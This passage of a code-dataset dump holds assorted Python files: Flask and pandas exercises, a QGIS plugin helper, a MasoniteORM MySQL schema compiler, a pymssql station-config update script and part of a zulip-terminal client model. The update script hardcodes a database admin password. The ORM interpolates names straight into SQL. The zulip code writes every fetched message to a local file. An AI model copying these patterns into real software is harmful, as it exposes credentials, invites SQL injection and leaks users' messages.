int(x)/12)\nbig_loan_term=len(loan_term[loan_term>=25])\nprint(big_loan_term)\n\n\n\n\n# code ends here\n\n\n# --------------\n# code starts here\ncolumns_to_show = ['ApplicantIncome', 'Credit_History']\n\nloan_groupby = banks.groupby(['Loan_Status'])\n\nloan_groupby=loan_groupby[columns_to_show]\n\nmean_values=loan_groupby.agg([np.mean])\n\n\nprint(mean_values)\n\n# code ends here\n\n\n","sub_path":"DataFrames/code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":2024,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"486543865","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\n***************************************************************************\n v_net_components.py\n ---------------------\n Date : December 2015\n Copyright : (C) 2015 by Médéric Ribreux\n Email : medspx at medspx dot fr\n***************************************************************************\n* *\n* This program is free software; you can redistribute it and/or modify *\n* it under the terms of the GNU General Public License as published by *\n* the Free Software Foundation; either version 2 of the License, or *\n* (at your option) any later version. *\n* *\n***************************************************************************\n\"\"\"\n\n__author__ = 'Médéric Ribreux'\n__date__ = 'December 2015'\n__copyright__ = '(C) 2015, Médéric Ribreux'\n\n# This will get replaced with a git SHA1 when you do a git archive\n\n__revision__ = '$Format:%H$'\n\nfrom v_net import variableOutput\n\n\ndef processCommand(alg):\n # remove the output for point\n outLine = alg.getOutputFromName(u'output')\n outPoint = alg.getOutputFromName(u'output_point')\n alg.exportedLayers[outPoint.value] = outLine.name + alg.uniqueSufix\n alg.removeOutputFromName(u'output_point')\n\n alg.processCommand()\n\n # Re-add output for point\n alg.addOutput(outPoint)\n\n\ndef processOutputs(alg):\n outputParameter = {u\"output\": [u\"line\", 1],\n u\"output_point\": [u\"point\", 2]}\n variableOutput(alg, outputParameter)\n","sub_path":"processing/algs/grass7/ext/v_net_components.py","file_name":"v_net_components.py","file_ext":"py","file_size_in_byte":1691,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"298516746","text":"import os\r\nimport sys\r\nimport pymssql\r\nimport time\r\n\r\n### Read sql file and return a Dictionary###\r\ndef readSQLFile(file):\r\n data = dict()\r\n for line in file:\r\n index = line.find('=')\r\n data[line[:index]] = line[index+1:-1]\r\n return data\r\n\r\n\r\nwhile len(sys.argv) < 2:\r\n print(\"missing SQL data file\")\r\n quit()\t\r\n### Read sql entries file ###\r\nfilename = sys.argv[1]\r\n\r\ntry:\r\n datafile = open(filename,'r')\r\nexcept IOError:\r\n print(\"Could not read file \",filename)\r\nexcept:\r\n print(\"Unknown Error\")\r\n\r\n### Create a List of the file contents ###\r\nsqlDict = readSQLFile(datafile)\r\nprint(sqlDict)\r\n\r\n### Connect to database ###\r\ntry:\r\n conn = pymssql.connect('localhost','sa','$0meth!ng','TEST')\r\n cursor = conn.cursor()\r\nexcept:\r\n print(\"Database connection problem\")\r\n\r\n### ACDQueues ###\r\ntry:\r\n cursor.execute(\"UPDATE [xSwitchQueues] SET startDNIS = %s WHERE startDNIS = '!9210040002'\",(sqlDict['XSWMFCAMAStartDNIS1']))\r\n cursor.execute(\"UPDATE [xSwitchQueues] SET startDNIS = %s WHERE startDNIS = '!9210050002'\",(sqlDict['GLMFCAMAStartDNIS1']))\r\n cursor.execute(\"UPDATE [xSwitchQueues] SET startDNIS = %s WHERE startDNIS = '!9110040002'\",(sqlDict['XSWMFCAMAStartDNIS2']))\r\n cursor.execute(\"UPDATE [xSwitchQueues] SET startDNIS = %s WHERE startDNIS = '!9110050002'\",(sqlDict['GLMFCAMAStartDNIS2']))\r\n\r\n### XSR Station ###\r\n cursor.execute(\"UPDATE [xSharedStations] SET IPAddress = %s WHERE IPAddress = '10.36.225.139'\",(sqlDict['StationMAPSSIP']))\r\n cursor.execute(\"UPDATE [xSharedStations] SET IPAddress = %s WHERE IPAddress = '10.36.225.34'\",(sqlDict['StationXSW']))\r\n cursor.execute(\"INSERT into [xSharedStations] (machineName,stationType) values (%s,%d)\", (sqlDict['xSRStationsMachineName'],int(sqlDict['xSRStationsStationType'])))\r\n cursor.execute(\"UPDATE [xSharedStations] SET (ID) = %s WHERE machineName = %s\",(sqlDict['xSRStationsID'],sqlDict['xSRStationsMachineName']))\r\n cursor.execute(\"UPDATE [xSharedStations] SET (CADTerminalID) = %s WHERE machineName = %s\",(sqlDict['xSRStationsCADTerminalID'],sqlDict['xSRStationsMachineName']))\r\n cursor.execute(\"UPDATE [xSharedStations] SET (IPAddress) = %s WHERE machineName = %s\", (sqlDict['xSRStationsIPAddress'],sqlDict['xSRStationsMachineName']))\r\n cursor.execute(\"SELECT guid from [xSharedPSAPs] where name ='Primary PSAP'\")\r\n PSAPXSRGUID = cursor.fetchone() \r\n cursor.execute(\"UPDATE [xSharedStations] SET psapGUID = %s WHERE machineName = %s\", PSAPXSRGUID[0],sqlDict['xSRStationsMachineName'])\r\n cursor.execute(\"UPDATE [xSharedStations] SET isXRRegistrar = '1' WHERE machineName = %s\", sqlDict['xSRStationsMachineName'])\r\n cursor.execute(\"UPDATE [xSwitchStations] SET isXSwitchServer = '0' WHERE isXSwitchServer = '1'\")\r\n cursor.execute(\"select guid from [xSharedStations] where IPAddress ='10.36.225.161'\")\r\n XSRSTATIONGUID = cursor.fetchone()\r\n cursor.execute(\"UPDATE [xSwitchStations] SET isXSwitchServer = '1' where stationGUID = %s\",XSRSTATIONGUID[0])\r\n\r\n## XSR DB Station ###\r\n cursor.execute(\"select guid from [xSharedPSAPs] where name ='PSAP_DB'\")\r\n PSAPDBGUID = cursor.fetchone()\r\n cursor.execute(\"INSERT into [xSharedStations] (machineName,stationType) values (%s,%d)\", (sqlDict['xSRDBStationsMachineName'],int(sqlDict['xSRDBStationsStationType'])))\r\n cursor.execute(\"UPDATE [xSharedStations] SET (ID) = %s WHERE machineName = %s\",(sqlDict['xSRDBStationsID'],sqlDict['xSRDBStationsMachineName']))\r\n cursor.execute(\"UPDATE [xSharedStations] SET (CADTerminalID) = %s WHERE machineName = %s\",(sqlDict['xSRDBStationsCADTerminalID'],sqlDict['xSRDBStationsMachineName']))\r\n cursor.execute(\"UPDATE [xSharedStations] SET (IPAddress) = %s WHERE machineName = %s\", (sqlDict['xSRDBStationsIPAddress'],sqlDict['xSRDBStationsMachineName']))\r\n cursor.execute(\"UPDATE [xSharedStations] SET (psapGUID) = %s WHERE machineName = %s\", (PSAPDBGUID[0],sqlDict['xSRDBStationsMachineName']))\r\n cursor.execute(\"UPDATE [xSharedStations] SET isXRRegistrar = '1' WHERE machineName = %s\", (sqlDict['xSRDBStationsMachineName']))\r\n cursor.execute(\"UPDATE [xSwitchStations] SET isXSwitchServer = '0' WHERE isXSwitchServer = '1'\")\r\n cursor.execute(\"SELECT guid from [xSharedStations] where IPAddress ='10.36.225.161'\")\r\n\r\n### Media Gateways ###\r\n cursor.execute(\"UPDATE [xSwitchMediaServers] SET (HostName, IPAddress) values(%s,%s) WHERE HostName = 'xms1'\",(sqlDict['xSRMediaServersHostName'],sqlDict['xSRMediaServersIPAddress']))\r\n cursor.execute(\"UPDATE [xSwitchStationsToMediaServers] SET StationGuid = %s WHERE priority = '0'\", XSRSTATIONGUID[0])\r\n cursor.execute(\"UPDATE [xSwitchGateways] SET IPAddress = %s where IPAddress = '10.36.225.133'\", (sqlDict['StationMAPSSIP']))\r\n\r\n# except(pymssql.DatabaseError):\r\n # print(\"DatabaseError\")\r\nexcept(pymssql.DataError):\r\n print(\"Error in Data\")\r\nexcept(pymssql.OperationalError):\r\n print(\"Database operation Error\")\r\n\r\n## close the connection and file ###\r\nfinally:\r\n conn.commit()\r\n datafile.close()\r\n conn.close()","sub_path":"DatabaseUpdatePyMSSQL.py","file_name":"DatabaseUpdatePyMSSQL.py","file_ext":"py","file_size_in_byte":5063,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"160678449","text":"import numpy as np\nimport pandas as pd\nimport datetime as dt\nfrom flask import jsonify, Flask\nimport sqlalchemy\nfrom sqlalchemy.ext.automap import automap_base\nfrom sqlalchemy.orm import Session\nfrom sqlalchemy import (Column, Date, Integer, MetaData, Table, Text, create_engine, func, inspect,select)\n\nengine = create_engine(f\"sqlite:///Resources/hawaii.sqlite\")\n# reflect an existing database into a new model\nBase = automap_base()\n\n# reflect the tables\nBase.prepare(engine, reflect = True)\n\n#--Create classes\nMeasurement = Base.classes.measurement\nStation = Base.classes.station\n\n# Create session from Python to the DB\n# session = Session(engine)\napp = Flask(__name__)\n#--------------------------\n# app.route(rule, options) \n# It accepts the following parameters.\n\n# rule: It represents the URL binding with the function.\n# options: It represents the list of parameters to be associated with the rule object\n#---------------------------\n@app.route(\"/\")\ndef Homepage():\n \"\"\"List all available api routes.\"\"\"\n return (\n f\"Welcome to SQLAlchemy Homework
\"\n f\"Available Routes:
\"\n f\"/api/v1.0/precipitation
\"\n f\"/api/v1.0/stations
\"\n f\"/api/v1.0/tobs
\"\n f\"/api/v1.0/tempInfo//
\"\n f\"/api/v1.0/tempInfo/
\"\n f\"/api/v1.0/tempInfo
\"\n )\n\n@app.route(\"/api/v1.0/precipitation\")\ndef precipitation():\n \"\"\"Convert the query results to a dictionary using 'date' as the key and 'prcp' as the value\"\"\"\n\n # # Create session from Python to the DB\n session = Session(engine)\n # Calculate the date one year from the last date in data set.\n prev_year = dt.date(2017, 8, 23) - dt.timedelta(days=365) \n # Query precipitation\n results = session.query(Measurement.date, Measurement.prcp).filter(Measurement.date >= prev_year).all()\n preciptations = []\n\n for result in results:\n prcp_dict = {}\n prcp_dict[\"date\"] = result[0]\n prcp_dict[\"prcp\"] = result[1]\n preciptations.append(prcp_dict)\n\n \n return jsonify(preciptations)\n \n session.close()\n\n@app.route(\"/api/v1.0/stations\")\ndef stations():\n session = Session(engine)\n \n # Most active stations query using .count() to find station that has the most count and sorted\n stations_results = session.query(Measurement.station, func.count(Measurement.station)).group_by(Measurement.station)\\\n .order_by(func.count(Measurement.station).desc()).all()\n # With np.ravel will showed 1-D list otherwise it'll show list in the list\n stations_results = list(np.ravel(stations_results))\n \n session.close()\n return jsonify(stations_results)\n\n@app.route(\"/api/v1.0/tobs\")\ndef tobs():\n \"\"\"A List of temperature observation (TOBS) for the previous year \n from the most active station.\"\"\"\n session = Session(engine)\n\n # Set Most Active Station in the variable\n most_active = session.query(Measurement.station, func.count(Measurement.station))\\\n .group_by(Measurement.station)\\\n .order_by(func.count(Measurement.station).desc())\\\n .first()[0]\n \n # Calculate the date one year from the last date in data set.\n prev_year = dt.date(2017, 8, 23) - dt.timedelta(days=365)\n prev_year\n \n # Perform a query to retrieve the data and precipitation scores\n tobs_results = session.query(Measurement.date, Measurement.tobs).filter(Measurement.date >= prev_year)\\\n .filter(Measurement.station == f\"{most_active}\").all()\n\n session.close()\n return jsonify(tobs_results)\n\n@app.route(\"/api/v1.0/tempInfo//\")\n@app.route(\"/api/v1.0/tempInfo/\")\n@app.route(\"/api/v1.0/tempInfo\")\ndef get_info(start_date=None,end_date=None):\n \"\"\"\n /api/v1.0/tempInfo// with two arguments will return \n average, min and max temperatures from start date to end date.\n /api/v1.0/tempInfo/ with on arguments will return\n average, min and max temperatures from start date until present.\n \"\"\"\n session = Session(engine)\n \n if start_date is None and end_date is None:\n return (f\"Input Start Date and End Date using this format YYYY-MM-DD\")\n\n elif start_date is not None and end_date is None:\n start_temp_details = session.query(func.min(Measurement.tobs)\\\n ,func.avg(Measurement.tobs)\\\n ,func.max(Measurement.tobs))\\\n .filter(Measurement.date >= start_date).all()\n\n start_temp_details_unravel = list(np.ravel(start_temp_details))\n\n start_temp_detail_dict = {\n \"Minimum Temperature\":start_temp_details_unravel[0],\n \"Average Temperature\":start_temp_details_unravel[1],\n \"Maximum Temperature\":start_temp_details_unravel[2]\n }\n return (start_temp_detail_dict)\n\n else:\n temp_details = session.query(func.min(Measurement.tobs)\\\n ,func.avg(Measurement.tobs)\\\n ,func.max(Measurement.tobs))\\\n .filter(Measurement.date >= start_date)\\\n .filter(Measurement.date <= end_date).all()\n\n temp_unravel = list(np.ravel(temp_details))\n# f\"Temperature Info between {start_date} and {end_date}\"\n temp_detail_dict = {\n \"Minimum Temperature\":temp_unravel[0],\n \"Average Temperature\":temp_unravel[1],\n \"Maximum Temperature\":temp_unravel[2]\n }\n session.close()\n return jsonify(temp_detail_dict)\n \n\n\n\n#--------------------------------------\n# Finally, the run method of the Flask class is used to run the flask application on the local development server.\n# The syntax is given below.\n# ***** app.run(host, port, debug, options) \n# SN\tOption\tDescription\n# 1\thost\tThe default hostname is 127.0.0.1, i.e. localhost.\n# 2\tport\tThe port number to which the server is listening to. The default port number is 5000.\n# 3\tdebug\tThe default is false. It provides debug information if it is set to true.\n# 4\toptions\tIt contains the information to be forwarded to the server.\n#----------------------------------------\n\n#print(f\"Hi My Name is {__name__}\") : This will generate \"Hi My Name is app\" which\n#is not match with \"__main__\" which generated by Python, therefore web browser won't run\n\n\n\nif __name__ == \"__main__\":\n app.run(debug=True) ","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":6473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"50144687","text":"#! /usr/bin/env python3\n# _*_ coding:utf-8 _*_\n#\n# www.NeatChange.com\n# Make a difference in your life !\n#\n# Poplar Apr 22 2017\n# 输入生日,计算你活了多少天\n\n\nimport re\nimport datetime\n\nbirth = datetime.datetime.strptime(input(\"请输入您的生日:\"), \"%Y-%m-%d\")\nnow = datetime.datetime.now()\nyour_time = str(now-birth)\nyour_time = re.search(r\"\\d+\", your_time).group()\n\nprint(\"您成功活了%s天,再接再厉!\" % your_time)\n\n\n\n\n\n\n\n\n\n","sub_path":"Study/Python/小程序/输入生日,计算你活了多少天.py","file_name":"输入生日,计算你活了多少天.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"497907648","text":"def main():\n name = ''\n items = []\n while True:\n item = {}\n name = input('Item (enter \"done\" when finished): ')\n if name == 'done':\n break;\n\n item['name'] = name\n item['price'] = input('Price: ')\n item['quantity'] = str(input('Quantity: '))\n items.append(item)\n sum = 0\n print('-------------')\n print('receipt')\n print('-------------')\n for item_dict in items:\n print(item_dict['quantity'] + ' ' + item_dict['name'] + ' ' + str(int(item_dict['price'])*int(item_dict['quantity']))+'KD')\n sum += (int(item_dict['price']) * int(item_dict['quantity']))\n print('-------------')\n print('Total Price: '+str(sum)+'KD')\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"cashier.py","file_name":"cashier.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"92133594","text":"from .Platform import Platform\nfrom ..Table import Table\n\n\nclass MySQLPlatform(Platform):\n types_without_lengths = []\n\n type_map = {\n \"string\": \"VARCHAR\",\n \"char\": \"CHAR\",\n \"integer\": \"INT\",\n \"big_integer\": \"BIGINT\",\n \"tiny_integer\": \"TINYINT\",\n \"big_increments\": \"BIGINT AUTO_INCREMENT\",\n \"small_integer\": \"SMALLINT\",\n \"medium_integer\": \"MEDIUMINT\",\n \"increments\": \"INT UNSIGNED AUTO_INCREMENT PRIMARY KEY\",\n \"uuid\": \"CHAR\",\n \"binary\": \"LONGBLOB\",\n \"boolean\": \"BOOLEAN\",\n \"decimal\": \"DECIMAL\",\n \"double\": \"DOUBLE\",\n \"enum\": \"ENUM\",\n \"text\": \"TEXT\",\n \"float\": \"FLOAT\",\n \"geometry\": \"GEOMETRY\",\n \"json\": \"JSON\",\n \"jsonb\": \"LONGBLOB\",\n \"long_text\": \"LONGTEXT\",\n \"point\": \"POINT\",\n \"time\": \"TIME\",\n \"timestamp\": \"TIMESTAMP\",\n \"date\": \"DATE\",\n \"year\": \"YEAR\",\n \"datetime\": \"DATETIME\",\n \"tiny_increments\": \"TINYINT AUTO_INCREMENT\",\n \"unsigned\": \"INT UNSIGNED\",\n \"unsigned_integer\": \"INT UNSIGNED\",\n }\n\n premapped_nulls = {True: \"NULL\", False: \"NOT NULL\"}\n\n premapped_defaults = {\n \"current\": \" DEFAULT CURRENT_TIMESTAMP\",\n \"now\": \" DEFAULT NOW()\",\n \"null\": \" DEFAULT NULL\",\n }\n\n def compile_create_sql(self, table):\n sql = []\n\n sql.append(\n self.create_format().format(\n table=table.name,\n columns=\", \".join(self.columnize(table.get_added_columns())).strip(),\n constraints=\", \"\n + \", \".join(self.constraintize(table.get_added_constraints(), table))\n if table.get_added_constraints()\n else \"\",\n foreign_keys=\", \"\n + \", \".join(\n self.foreign_key_constraintize(table.name, table.added_foreign_keys)\n )\n if table.added_foreign_keys\n else \"\",\n )\n )\n\n return sql[0]\n\n def compile_alter_sql(self, table):\n sql = []\n\n if table.added_columns:\n add_columns = []\n\n for name, column in table.get_added_columns().items():\n if column.length:\n length = self.create_column_length(column.column_type).format(\n length=column.length\n )\n else:\n length = \"\"\n\n add_columns.append(\n self.add_column_string()\n .format(\n name=column.name,\n data_type=self.type_map.get(column.column_type, \"\"),\n length=length,\n constraint=\"PRIMARY KEY\" if column.primary else \"\",\n nullable=\"NULL\" if column.is_null else \"NOT NULL\",\n )\n .strip()\n )\n\n sql.append(\n self.alter_format().format(\n table=self.wrap_table(table.name),\n columns=\", \".join(add_columns).strip(),\n )\n )\n\n if table.renamed_columns:\n renamed_sql = []\n\n for name, column in table.get_renamed_columns().items():\n if column.length:\n length = self.create_column_length(column.column_type).format(\n length=column.length\n )\n else:\n length = \"\"\n\n renamed_sql.append(\n self.rename_column_string().format(to=column.name, old=name).strip()\n )\n\n sql.append(\n self.alter_format().format(\n table=self.wrap_table(table.name),\n columns=\", \".join(renamed_sql).strip(),\n )\n )\n\n if table.changed_columns:\n\n sql.append(\n self.alter_format().format(\n table=self.wrap_table(table.name),\n columns=\"MODIFY \"\n + \", \".join(self.columnize(table.changed_columns)),\n )\n )\n\n if table.dropped_columns:\n dropped_sql = []\n\n for name in table.get_dropped_columns():\n dropped_sql.append(self.drop_column_string().format(name=name).strip())\n\n sql.append(\n self.alter_format().format(\n table=self.wrap_table(table.name), columns=\", \".join(dropped_sql)\n )\n )\n\n if table.added_foreign_keys:\n for (\n column,\n foreign_key_constraint,\n ) in table.get_added_foreign_keys().items():\n sql.append(\n f\"ALTER TABLE {self.wrap_table(table.name)} ADD \"\n + self.get_foreign_key_constraint_string().format(\n column=column,\n table=table.name,\n foreign_table=foreign_key_constraint.foreign_table,\n foreign_column=foreign_key_constraint.foreign_column,\n )\n )\n\n if table.dropped_foreign_keys:\n constraints = table.dropped_foreign_keys\n for constraint in constraints:\n sql.append(\n f\"ALTER TABLE {self.wrap_table(table.name)} DROP FOREIGN KEY {constraint}\"\n )\n\n if table.added_indexes:\n for name, index in table.added_indexes.items():\n sql.append(\n \"CREATE INDEX {name} ON {table}({column})\".format(\n name=index.name, table=table.name, column=index.column\n )\n )\n\n if table.removed_indexes:\n constraints = table.removed_indexes\n for constraint in constraints:\n sql.append(\n f\"ALTER TABLE {self.wrap_table(table.name)} DROP INDEX {constraint}\"\n )\n\n return sql\n\n def add_column_string(self):\n return \"ADD {name} {data_type}{length} {nullable}\"\n\n def drop_column_string(self):\n return \"DROP COLUMN {name}\"\n\n def change_column_string(self):\n return \"MODIFY {name}{data_type}{length} {nullable}{default} {constraint}\"\n\n def rename_column_string(self):\n return \"RENAME COLUMN {old} TO {to}\"\n\n def columnize_string(self):\n return \"{name} {data_type}{length} {nullable}{default} {constraint}\"\n\n def constraintize(self, constraints, table):\n sql = []\n for name, constraint in constraints.items():\n sql.append(\n getattr(\n self, f\"get_{constraint.constraint_type}_constraint_string\"\n )().format(\n columns=\", \".join(constraint.columns),\n name_columns=\"_\".join(constraint.columns),\n table=table.name,\n )\n )\n\n return sql\n\n def get_table_string(self):\n return \"`{table}`\"\n\n def create_format(self):\n return \"CREATE TABLE {table} ({columns}{constraints}{foreign_keys})\"\n\n def alter_format(self):\n return \"ALTER TABLE {table} {columns}\"\n\n def get_foreign_key_constraint_string(self):\n return \"CONSTRAINT {table}_{column}_foreign FOREIGN KEY ({column}) REFERENCES {foreign_table}({foreign_column})\"\n\n def get_unique_constraint_string(self):\n return \"CONSTRAINT {table}_{name_columns}_unique UNIQUE ({columns})\"\n\n def compile_table_exists(self, table, database):\n return f\"SELECT * from information_schema.tables where table_name='{table}' AND table_schema = '{database}'\"\n\n def compile_truncate(self, table):\n return f\"TRUNCATE {self.wrap_table(table)}\"\n\n def compile_rename_table(self, current_name, new_name):\n return f\"ALTER TABLE {self.wrap_table(current_name)} RENAME TO {self.wrap_table(new_name)}\"\n\n def compile_drop_table_if_exists(self, table):\n return f\"DROP TABLE IF EXISTS {self.wrap_table(table)}\"\n\n def compile_drop_table(self, table):\n return f\"DROP TABLE {self.wrap_table(table)}\"\n\n def compile_column_exists(self, table, column):\n return f\"SELECT column_name FROM information_schema.columns WHERE table_name='{table}' and column_name='{column}'\"\n\n def get_current_schema(self, connection, table_name):\n return Table(table_name)\n","sub_path":"src/masoniteorm/schema/platforms/MySQLPlatform.py","file_name":"MySQLPlatform.py","file_ext":"py","file_size_in_byte":8493,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"549689181","text":"import time\nimport datetime\n\nimport numpy as np\n\n\n\n# Source: https://github.com/yaxen/santander-product-recommendation-8th-place/blob/master/utils.py\nclass Timer:\n\n def __init__(self, text=None):\n self.text = text\n\n def __enter__(self):\n self.cpu = time.clock()\n self.time = time.time()\n if self.text:\n logmsg(\"{}...\".format(self.text))\n return self\n\n def __exit__(self, *args):\n self.cpu = time.clock() - self.cpu\n self.time = time.time() - self.time\n if self.text:\n logmsg(\"{}: cpu {}, time {}\\n\".format(self.text, secfmt(self.cpu), secfmt(self.time)))\n\n\n\ndef secfmt(s):\n H, r = divmod(s, 3600)\n M, S = divmod(r, 60)\n if H:\n return '{} h {} min {} sec'.format(int(H), int(M), int(S))\n elif M:\n return '{} min {} sec'.format(int(M), int(S))\n elif S >= 1:\n return '{} sec'.format(int(S))\n else:\n return '{} ms'.format(int(S*1000))\n\n\n\ndef logmsg(msg):\n for m in msg.split('\\n'):\n t = datetime.datetime.now().strftime(\"[%H:%M:%S]\")\n print(t, m)\n time.sleep(0.01)\n","sub_path":"utils/_timer.py","file_name":"_timer.py","file_ext":"py","file_size_in_byte":1118,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"51"} +{"seq_id":"533121962","text":"import json\nfrom threading import Thread\nimport time\nfrom typing import Any, Dict, List, FrozenSet, Set, Union, Optional\nfrom mypy_extensions import TypedDict\n\nimport urwid\n\nfrom zulipterminal.helper import (\n asynch,\n classify_unread_counts,\n index_messages,\n set_count\n)\nfrom zulipterminal.ui_tools.utils import create_msg_box_list\n\nGetMessagesArgs = TypedDict('GetMessagesArgs', {\n 'num_before': int,\n 'num_after': int,\n 'anchor': Optional[int]\n })\n\n\nclass Model:\n \"\"\"\n A class responsible for storing the data to be displayed.\n \"\"\"\n\n def __init__(self, controller: Any) -> None:\n self.controller = controller\n self.client = controller.client\n # Get message after registering to the queue.\n self.msg_view = None # type: Any\n self.msg_list = None # type: Any\n self.narrow = [] # type: List[Any]\n self.update = False\n self.stream_id = -1\n self.stream_dict = {} # type: Dict[int, Any]\n self.recipients = frozenset() # type: FrozenSet[Any]\n self.index = None # type: Any\n self.user_id = -1 # type: int\n self.initial_data = {} # type: Dict[str, Any]\n self._update_user_id()\n self._update_initial_data()\n self.users = self.get_all_users()\n self.muted_streams = list() # type: List[int]\n self.streams = self.get_subscribed_streams()\n self.muted_topics = self.initial_data['muted_topics']\n self.unread_counts = classify_unread_counts(self)\n self.new_user_input = True\n self.update_presence()\n\n @asynch\n def _update_user_id(self) -> None:\n self.user_id = self.client.get_profile()['user_id']\n\n def _update_realm_users(self) -> None:\n self.initial_data['realm_users'] = self.client.get_members(\n request={\n 'client_gravatar': True,\n }\n )['members']\n\n def get_focus_in_current_narrow(self) -> Union[int, Set[None]]:\n \"\"\"\n Returns the focus in the current narrow.\n For no existing focus this returns {}, otherwise the message ID.\n \"\"\"\n return self.index['pointer'][str(self.narrow)]\n\n def set_focus_in_current_narrow(self, focus_message: int) -> None:\n self.index['pointer'][str(self.narrow)] = focus_message\n\n def set_narrow(self, *,\n stream: Optional[str]=None, topic: Optional[str]=None,\n search: Optional[str]=None,\n pm_with: Optional[str]=None) -> bool:\n if search and not(stream or topic or pm_with):\n new_narrow = [['search', search]]\n elif stream and topic and not(search or pm_with):\n new_narrow = [[\"stream\", stream],\n [\"topic\", topic]]\n elif stream and not(topic or search or pm_with):\n new_narrow = [['stream', stream]]\n elif pm_with == '' and not(stream or topic or search):\n new_narrow = [['is', 'private']]\n elif pm_with and not(stream or topic or search):\n new_narrow = [['pm_with', pm_with]]\n elif not stream and not topic and not search and not pm_with:\n new_narrow = []\n else:\n raise RuntimeError(\"Model.set_narrow parameters used incorrectly.\")\n\n if new_narrow != self.narrow:\n self.narrow = new_narrow\n return False\n else:\n return True\n\n def get_message_ids_in_current_narrow(self) -> Set[int]:\n narrow = self.narrow\n if narrow == []:\n current_ids = self.index['all_messages']\n elif narrow[0][0] == 'stream':\n stream_id = self.stream_id\n if len(narrow) == 1:\n current_ids = self.index['all_stream'][stream_id]\n elif len(narrow) == 2:\n topic = narrow[1][1]\n current_ids = self.index['stream'][stream_id][topic]\n elif narrow[0][1] == 'private':\n current_ids = self.index['all_private']\n elif narrow[0][0] == 'pm_with':\n recipients = self.recipients\n current_ids = self.index['private'][recipients]\n elif narrow[0][0] == 'search':\n current_ids = self.index['search']\n return current_ids.copy()\n\n @asynch\n def update_presence(self) -> None:\n # TODO: update response in user list.\n response = self.client.call_endpoint(\n url='users/me/presence',\n request={\n 'status': 'active',\n 'new_user_input': self.new_user_input,\n }\n )\n self.new_user_input = False\n time.sleep(60)\n self.update_presence()\n\n @asynch\n def react_to_message(self,\n message: Dict[str, Any],\n reaction_to_toggle: str) -> None:\n # FIXME Only support thumbs_up for now\n assert reaction_to_toggle == 'thumbs_up'\n\n endpoint = 'messages/{}/reactions'.format(message['id'])\n reaction_to_toggle_spec = dict(\n emoji_name='thumbs_up',\n reaction_type='unicode_emoji',\n emoji_code='1f44d')\n existing_reactions = [reaction['emoji_code']\n for reaction in message['reactions']\n if ('user_id' in reaction['user'] and\n reaction['user']['user_id'] == self.user_id)]\n if reaction_to_toggle_spec['emoji_code'] in existing_reactions:\n method = 'DELETE'\n else:\n method = 'POST'\n response = self.client.call_endpoint(url=endpoint,\n method=method,\n request=reaction_to_toggle_spec)\n\n @asynch\n def toggle_message_star_status(self, message: Dict[str, Any]) -> None:\n base_request = dict(flag='starred', messages=[message['id']])\n if 'starred' in message['flags']:\n request = dict(base_request, op='remove')\n else:\n request = dict(base_request, op='add')\n response = self.client.call_endpoint(url='messages/flags',\n method='POST',\n request=request)\n\n def get_messages(self, *,\n num_after: int, num_before: int,\n anchor: Optional[int]) -> Any:\n # anchor value may be specific message (int) or next unread (None)\n first_anchor = anchor is None\n anchor_value = anchor if anchor is not None else 0\n\n request = {\n 'anchor': anchor_value,\n 'num_before': num_before,\n 'num_after': num_after,\n 'apply_markdown': True,\n 'use_first_unread_anchor': first_anchor,\n 'client_gravatar': False,\n 'narrow': json.dumps(self.narrow),\n }\n response = self.client.do_api_query(request, '/json/messages',\n method=\"GET\")\n for msg in response['messages']:\n with open('../res.txt', 'a') as f:\n f.write(str(msg['content']) + \"\\n\\n\")\n if response['result'] == 'success':\n self.index = index_messages(response['messages'], self, self.index)\n if first_anchor:\n self.index[str(self.narrow)] = response['anchor']\n query_range = num_after + num_before + 1\n if len(response['messages']) < (query_range):\n self.update = True\n return self.index\n\n def _update_initial_data(self) -> None:\n try:\n # Thread Processes to reduces start time.\n # NOTE: first_anchor is True, so anchor value is ignored\n get_messages = Thread(target=self.get_messages,\n kwargs={'num_after': 10,\n 'num_before': 30,\n 'anchor': None})\n get_messages.start()\n update_realm_users = Thread(target=self._update_realm_users)\n update_realm_users.start()\n result = self.client.register(\n fetch_event_types=[\n 'presence',\n 'subscription',\n 'message',\n 'update_message_flags',\n 'muted_topics',\n 'realm_user', # Enables cross_realm_bots\n ],\n client_gravatar=True,\n )\n self.initial_data.update(result)\n # Join process to ensure they are completed\n update_realm_users.join()\n get_messages.join()\n\n except Exception:\n print(\"Invalid API key\")\n raise urwid.ExitMainLoop()\n\n def get_all_users(self) -> List[Dict[str, Any]]:\n # Dict which stores the active/idle status of users (by email)\n presences = self.initial_data['presences']\n\n # Construct a dict of each user in the realm to look up by email\n # and a user-id to email mapping\n self.user_dict = dict() # type: Dict[str, Dict[str, Any]]\n self.user_id_email_dict = dict() # type: Dict[int, str]\n for user in self.initial_data['realm_users']:\n email = user['email']\n if email in presences: # presences currently subset of all users\n status = presences[email]['aggregated']['status']\n else:\n # TODO: Consider if bots & other no-presence results should\n # also really be treated as 'idle' and adjust accordingly\n status = 'idle'\n self.user_dict[email] = {\n 'full_name': user['full_name'],\n 'email': email,\n 'user_id': user['user_id'],\n 'status': status,\n }\n self.user_id_email_dict[user['user_id']] = email\n\n # Add internal (cross-realm) bots to dicts\n for bot in self.initial_data['cross_realm_bots']:\n email = bot['email']\n self.user_dict[email] = {\n 'full_name': bot['full_name'],\n 'email': email,\n 'user_id': bot['user_id'],\n 'status': 'idle',\n }\n self.user_id_email_dict[bot['user_id']] = email\n\n # Generate filtered lists for active & idle users\n active = [properties for properties in self.user_dict.values()\n if properties['status'] == 'active']\n idle = [properties for properties in self.user_dict.values()\n if properties['status'] == 'idle']\n\n # Construct 